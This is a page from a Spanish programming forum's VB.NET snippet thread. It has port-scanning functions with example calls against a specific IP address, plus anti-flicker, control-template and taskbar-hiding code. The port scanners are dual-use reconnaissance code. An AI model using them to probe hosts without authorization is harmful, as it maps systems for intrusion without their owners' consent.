Eleкtro
Ex-Staff
*
Desconectado Desconectado

Mensajes: 9.788



Ver Perfil
Re: Librería de Snippets !! (Posteen aquí sus snippets)
« Respuesta #147 en: 2 Junio 2013, 17:53 pm »

LA PARTE IMPORTANTE DE ESTOS CÓDIGOS LOS HE TOMADO DEL BUENO DE KUBOX:

Escanear un puerto abierto

Código
  1. #Region " Port Scan "
  2.  
  3.    ' [ Port Scan Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' MsgBox(Port_Scan("84.126.113.10", 80))
  9.    ' MsgBox(Port_Scan("84.126.113.10", 80, Net.Sockets.ProtocolType.Udp))
  10.  
  11.    Private Function Port_Scan(ByVal IP As String, ByVal Port As Int32, _
  12.                               Optional ByVal Type As System.Net.Sockets.ProtocolType = Net.Sockets.ProtocolType.Tcp) As Boolean
  13.  
  14.        Dim Open As Boolean
  15.  
  16.        Try
  17.            Dim socket As New System.Net.Sockets.Socket(System.Net.Sockets.AddressFamily.InterNetwork, _
  18.                                                        System.Net.Sockets.SocketType.Stream, Type)
  19.            socket.Connect(IP, Port)
  20.            Open = socket.Connected
  21.            socket.Disconnect(False)
  22.            Return Open
  23.        Catch ex As Exception
  24.            MsgBox(ex.Message)
  25.            ' Return False
  26.        End Try
  27.  
  28.    End Function
  29.  
  30. #End Region




Escanear un rango de puertos

Código
  1. #Region " Port Range Scan "
  2.  
  3.    ' [ Port Range Scan Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' For Each Open_Port In Port_Range_Scan("84.126.113.10, 1, 5000) : MsgBox(Open_Port) : Next
  9.  
  10.    Private Function Port_Range_Scan(ByVal IP As String, ByVal Port_Start As Int32, ByVal Port_End As Int32, _
  11.                                     Optional ByVal Type As System.Net.Sockets.ProtocolType = Net.Sockets.ProtocolType.Tcp _
  12.                                    ) As List(Of String)
  13.  
  14.        Dim Open_Ports_List As New List(Of String)
  15.  
  16.        Try
  17.            For Port As Int32 = Port_Start To Port_End
  18.                Dim socket As New System.Net.Sockets.Socket(System.Net.Sockets.AddressFamily.InterNetwork, _
  19.                                                     System.Net.Sockets.SocketType.Stream, Type)
  20.                socket.Connect(IP, Port)
  21.                If socket.Connected Then Open_Ports_List.Add(Port)
  22.                socket.Disconnect(False)
  23.            Next Port
  24.            Return Open_Ports_List
  25.        Catch ex As Exception
  26.            MsgBox(ex.Message)
  27.            Return Nothing
  28.        End Try
  29.  
  30.    End Function
  31.  
  32. #End Region
En línea

Eleкtro
Ex-Staff
*
Desconectado Desconectado

Mensajes: 9.788



Ver Perfil
Re: Librería de Snippets !! (Posteen aquí sus snippets)
« Respuesta #148 en: 4 Junio 2013, 13:43 pm »

Como heredar un control para eliminar al 100% el Flickering en un control Default de un WindowsForm:

(Me he pasado unos 3-5 meses buscando una solución eficaz a esto ...Y aunque esta no es la solución más óptima, funciona y la considero eficaz en el aspecto de que funciona al 100%, pero leer el comentario que he dejado en inglés.)

Código
  1. Public Class Panel_Without_Flickering
  2.  
  3.    Inherits Panel
  4.  
  5.    Public Sub New()
  6.        Me.DoubleBuffered = False
  7.        Me.ResumeLayout(False)
  8.    End Sub
  9.  
  10.    ' Caution:
  11.    ' This turns off any Flicker effect
  12.    ' ...but also reduces the performance (speed) of the control about 30% slower.
  13.    ' This don't affect to the performance of the application, only to the performance of this control.
  14.    Protected Overrides ReadOnly Property CreateParams() As CreateParams
  15.        Get
  16.            Dim cp As CreateParams = MyBase.CreateParams
  17.            cp.ExStyle = cp.ExStyle Or &H2000000
  18.            Return cp
  19.        End Get
  20.    End Property
  21.  
  22. End Class





Un ejemplo hecho por mi de como heredar un control cualquiera, más bien es una especie de plantilla...

Código
  1. Public Class MyControl  ' Name of this control.
  2.  
  3.    Inherits PictureBox ' Name of the inherited control.
  4.  
  5. #Region " New "
  6.  
  7.    Public Sub New()
  8.        Me.DoubleBuffered = True
  9.        Me.SetStyle(ControlStyles.ResizeRedraw, False)
  10.        Me.Name = "MyControl"
  11.        'Me.Text = "Text"
  12.        'Me.Size = New Point(60, 60)
  13.    End Sub
  14.  
  15. #End Region
  16.  
  17. #Region " Properties "
  18.  
  19.    Private _Description As String = String.Empty
  20.  
  21.    ''' <summary>
  22.    ''' Add a description for this control.
  23.    ''' </summary>
  24.    Public Property Description() As String
  25.        Get
  26.            Return _Description
  27.        End Get
  28.        Set(ByVal Value As String)
  29.            Me._Description = Value
  30.        End Set
  31.    End Property
  32.  
  33. #End Region
  34.  
  35. #Region " Event handlers "
  36.  
  37.    ' Private Sub MyControl_Click(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Click
  38.    '    Me.ForeColor = Color.White
  39.    '    Me.BackColor = Color.CadetBlue
  40.    ' End Sub
  41.  
  42.    ' Protected Overrides Sub OnPaint(ByVal pEvent As PaintEventArgs)
  43.    '    MyBase.OnPaint(pEvent)
  44.    '    If Me.Checked Then
  45.    '       pEvent.Graphics.FillRectangle(New SolidBrush(Color.YellowGreen), New Rectangle(3, 4, 10, 12))
  46.    '    End If
  47.    ' End Sub
  48.  
  49. #End Region
  50.  
  51. #Region " Methods / Functions "
  52.  
  53.    ''' <summary>
  54.    ''' Show the autor of this control.
  55.    ''' </summary>
  56.    Public Sub About()
  57.        MsgBox("Elektro H@cker")
  58.    End Sub
  59.  
  60. #End Region
  61.  
  62. End Class
« Última modificación: 4 Junio 2013, 13:49 pm por EleKtro H@cker » En línea

Eleкtro
Ex-Staff
*
Desconectado Desconectado

Mensajes: 9.788



Ver Perfil
Re: Librería de Snippets !! (Posteen aquí sus snippets)
« Respuesta #149 en: 4 Junio 2013, 20:41 pm »

Taskbar Hide-Show

Oculta o desoculta la barra de tareas de Windows.

Código
  1. #Region " Taskbar Hide-Show "
  2.  
  3. ' [ Taskbar Hide-Show]
  4. '
  5. ' Examples :
  6. '
  7. ' Taskbar.Hide()
  8. ' Taskbar.Show()
  9.  
  10. #End Region
  11.  
  12. ' Taskbar.vb
  13. #Region " Taskbar Class "
  14.  
  15. ''' <summary>
  16. ''' Helper class for hiding/showing the taskbar and startmenu on
  17. ''' Windows XP and Vista.
  18. ''' </summary>
  19. Public Class Taskbar
  20.  
  21.    <System.Runtime.InteropServices.DllImport("user32.dll")> _
  22.    Private Shared Function GetWindowText(hWnd As IntPtr, text As System.Text.StringBuilder, count As Integer) As Integer
  23.    End Function
  24.    <System.Runtime.InteropServices.DllImport("user32.dll", CharSet:=System.Runtime.InteropServices.CharSet.Auto)> _
  25.    Private Shared Function EnumThreadWindows(threadId As Integer, pfnEnum As EnumThreadProc, lParam As IntPtr) As Boolean
  26.    End Function
  27.    <System.Runtime.InteropServices.DllImport("user32.dll", SetLastError:=True)> _
  28.    Private Shared Function FindWindow(lpClassName As String, lpWindowName As String) As System.IntPtr
  29.    End Function
  30.    <System.Runtime.InteropServices.DllImport("user32.dll", SetLastError:=True)> _
  31.    Private Shared Function FindWindowEx(parentHandle As IntPtr, childAfter As IntPtr, className As String, windowTitle As String) As IntPtr
  32.    End Function
  33.    <System.Runtime.InteropServices.DllImport("user32.dll")> _
  34.    Private Shared Function FindWindowEx(parentHwnd As IntPtr, childAfterHwnd As IntPtr, className As IntPtr, windowText As String) As IntPtr
  35.    End Function
  36.    <System.Runtime.InteropServices.DllImport("user32.dll")> _
  37.    Private Shared Function ShowWindow(hwnd As IntPtr, nCmdShow As Integer) As Integer
  38.    End Function
  39.    <System.Runtime.InteropServices.DllImport("user32.dll")> _
  40.    Private Shared Function GetWindowThreadProcessId(hwnd As IntPtr, lpdwProcessId As Integer) As UInteger
  41.    End Function
  42.  
  43.    Private Const SW_HIDE As Integer = 0
  44.    Private Const SW_SHOW As Integer = 5
  45.  
  46.    Private Const VistaStartMenuCaption As String = "Start"
  47.    Private Shared vistaStartMenuWnd As IntPtr = IntPtr.Zero
  48.    Private Delegate Function EnumThreadProc(hwnd As IntPtr, lParam As IntPtr) As Boolean
  49.  
  50.    ''' <summary>
  51.    ''' Show the taskbar.
  52.    ''' </summary>
  53.    Public Shared Sub Show()
  54.        SetVisibility(True)
  55.    End Sub
  56.  
  57.    ''' <summary>
  58.    ''' Hide the taskbar.
  59.    ''' </summary>
  60.    Public Shared Sub Hide()
  61.        SetVisibility(False)
  62.    End Sub
  63.  
  64.    ''' <summary>
  65.    ''' Sets the visibility of the taskbar.
  66.    ''' </summary>
  67.    Private Shared WriteOnly Property Visible() As Boolean
  68.        Set(value As Boolean)
  69.            SetVisibility(value)
  70.        End Set
  71.    End Property
  72.  
  73.    ''' <summary>
  74.    ''' Hide or show the Windows taskbar and startmenu.
  75.    ''' </summary>
  76.    ''' <param name="show">true to show, false to hide</param>
  77.    Private Shared Sub SetVisibility(show As Boolean)
  78.        ' get taskbar window
  79.        Dim taskBarWnd As IntPtr = FindWindow("Shell_TrayWnd", Nothing)
  80.  
  81.        ' Try the Windows XP TaskBar:
  82.        Dim startWnd As IntPtr = FindWindowEx(taskBarWnd, IntPtr.Zero, "Button", "Start")
  83.  
  84.        If startWnd = IntPtr.Zero Then
  85.            ' Try an alternate way of Windows XP TaskBar:
  86.            startWnd = FindWindowEx(IntPtr.Zero, IntPtr.Zero, CType(&HC017, IntPtr), "Start")
  87.        End If
  88.  
  89.        If startWnd = IntPtr.Zero Then
  90.            ' Try the Windows Vista/7 TaskBar:
  91.            startWnd = FindWindow("Button", Nothing)
  92.  
  93.            If startWnd = IntPtr.Zero Then
  94.                ' Try an alternate way of Windows Vista/7 TaskBar:
  95.                startWnd = GetVistaStartMenuWnd(taskBarWnd)
  96.            End If
  97.        End If
  98.  
  99.        ShowWindow(taskBarWnd, If(show, SW_SHOW, SW_HIDE))
  100.        ShowWindow(startWnd, If(show, SW_SHOW, SW_HIDE))
  101.  
  102.    End Sub
  103.  
  104.    ''' <summary>
  105.    ''' Returns the window handle of the Vista start menu orb.
  106.    ''' </summary>
  107.    ''' <param name="taskBarWnd">windo handle of taskbar</param>
  108.    ''' <returns>window handle of start menu</returns>
  109.    Private Shared Function GetVistaStartMenuWnd(taskBarWnd As IntPtr) As IntPtr
  110.        ' get process that owns the taskbar window
  111.        Dim procId As Integer
  112.        GetWindowThreadProcessId(taskBarWnd, procId)
  113.  
  114.        Dim p As Process = Process.GetProcessById(procId)
  115.        If p IsNot Nothing Then
  116.            ' enumerate all threads of that process...
  117.            For Each t As ProcessThread In p.Threads
  118.                EnumThreadWindows(t.Id, AddressOf MyEnumThreadWindowsProc, IntPtr.Zero)
  119.            Next
  120.        End If
  121.        Return vistaStartMenuWnd
  122.    End Function
  123.  
  124.    ''' <summary>
  125.    ''' Callback method that is called from 'EnumThreadWindows' in 'GetVistaStartMenuWnd'.
  126.    ''' </summary>
  127.    ''' <param name="hWnd">window handle</param>
  128.    ''' <param name="lParam">parameter</param>
  129.    ''' <returns>true to continue enumeration, false to stop it</returns>
  130.    Private Shared Function MyEnumThreadWindowsProc(hWnd As IntPtr, lParam As IntPtr) As Boolean
  131.        Dim buffer As New System.Text.StringBuilder(256)
  132.        If GetWindowText(hWnd, buffer, buffer.Capacity) > 0 Then
  133.            Console.WriteLine(buffer)
  134.            If buffer.ToString() = VistaStartMenuCaption Then
  135.                vistaStartMenuWnd = hWnd
  136.                Return False
  137.            End If
  138.        End If
  139.        Return True
  140.    End Function
  141.  
  142. End Class
  143.  
  144. #End Region
En línea

Páginas: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 [15] 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 ... 58 Ir Arriba Respuesta Imprimir 

Ir a:  

WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines